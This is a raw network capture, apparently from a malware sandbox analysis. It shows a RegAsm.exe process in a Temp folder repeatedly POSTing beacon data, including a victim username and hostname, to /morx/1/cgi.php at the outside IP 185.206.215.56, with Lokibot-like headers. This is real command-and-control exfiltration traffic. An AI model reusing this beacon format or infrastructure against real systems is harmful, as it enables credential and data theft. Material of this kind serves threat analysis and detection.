Jan 5, 2021 19:06:24.715022087 CET	1197	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:24.816570997 CET	1197	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:23 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.22	49210	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:25.024326086 CET	1198	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:25.105597019 CET	1198	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:25.203072071 CET	1199	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:24 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.22	49211	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:25.428992033 CET	1199	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:25.496113062 CET	1200	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:25.591475010 CET	1200	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:24 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.22	49212	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:25.813759089 CET	1201	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:25.887118101 CET	1201	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:25.992160082 CET	1201	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:25 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.22	49213	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:26.197896004 CET	1202	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:26.277198076 CET	1202	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:26.381041050 CET	1203	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:25 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.22	49214	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:26.599441051 CET	1203	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:26.668005943 CET	1204	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:26.766199112 CET	1204	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:25 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.22	49215	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:26.971787930 CET	1205	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:27.043010950 CET	1205	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:27.131364107 CET	1205	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:26 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.22	49216	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:27.359759092 CET	1206	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:27.433837891 CET	1206	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:27.547158957 CET	1207	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:26 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49172	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:09.279376030 CET	1148	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:09.356514931 CET	1148	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:09.462393999 CET	1149	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:08 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.22	49217	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:27.753619909 CET	1207	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:27.824155092 CET	1208	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:27.916227102 CET	1208	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:27 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.22	49218	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:28.127708912 CET	1209	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:28.199399948 CET	1209	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:28.287151098 CET	1209	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:27 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.22	49219	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:28.505440950 CET	1210	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:28.574281931 CET	1210	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:28.661950111 CET	1211	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:27 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.22	49220	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:28.880701065 CET	1211	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:28.949122906 CET	1212	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:29.048592091 CET	1212	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:28 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.22	49221	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:29.244494915 CET	1213	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:29.324312925 CET	1213	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:29.409620047 CET	1213	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:28 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.22	49222	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:29.630363941 CET	1214	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:29.699589014 CET	1214	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:29.797473907 CET	1215	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:28 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.22	49223	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:30.014888048 CET	1215	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:30.089708090 CET	1216	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:30.193197012 CET	1216	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:29 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.22	49224	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:30.409914970 CET	1217	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:30.480485916 CET	1217	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:30.572042942 CET	1217	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:29 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.22	49225	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:30.786520004 CET	1218	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:30.855289936 CET	1218	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:30.947633028 CET	1219	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:30 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.22	49226	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:31.159641027 CET	1219	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:31.230292082 CET	1220	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:31.319802046 CET	1220	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:30 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49173	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:09.669670105 CET	1149	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:09.749500036 CET	1150	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:09.843837023 CET	1150	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:08 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.22	49227	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:31.542985916 CET	1221	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
